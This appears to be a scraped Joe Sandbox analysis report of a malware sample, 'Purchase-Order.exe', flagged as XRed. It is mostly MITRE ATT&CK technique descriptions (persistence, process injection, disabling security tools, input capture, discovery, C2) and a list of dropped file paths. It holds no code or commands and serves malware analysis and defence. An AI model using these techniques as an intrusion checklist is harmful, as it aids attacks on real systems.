Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Purchase-Order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Synaptics\RCX600B.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

C:\Users\user\AppData\Local\Temp\1AfukGN.ini

C:\Users\user\AppData\Local\Temp\1EVexRp.ini

C:\Users\user\AppData\Local\Temp\1HyaHl2.ini

C:\Users\user\AppData\Local\Temp\2CtaiXL.ini

C:\Users\user\AppData\Local\Temp\2PJzoek.ini

Windows Analysis Report
Purchase-Order.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre